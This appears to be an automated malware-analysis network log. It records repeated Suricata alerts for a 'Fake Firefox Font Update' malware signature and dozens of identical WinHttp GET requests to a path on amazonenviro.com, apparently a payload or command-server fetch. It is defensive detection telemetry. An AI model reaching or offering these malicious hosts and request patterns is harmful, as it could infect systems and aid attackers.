Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50111 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50067 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49994 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50121 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50017 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50113 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50123 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50089 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50117 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50119 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50063 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50081 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50103 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50049 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50037 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50125 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50026 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50030 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50107 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50057 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50075 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50053 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50032 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50051 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50069 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50091 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50099 -> 166.62.27.188:443

Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
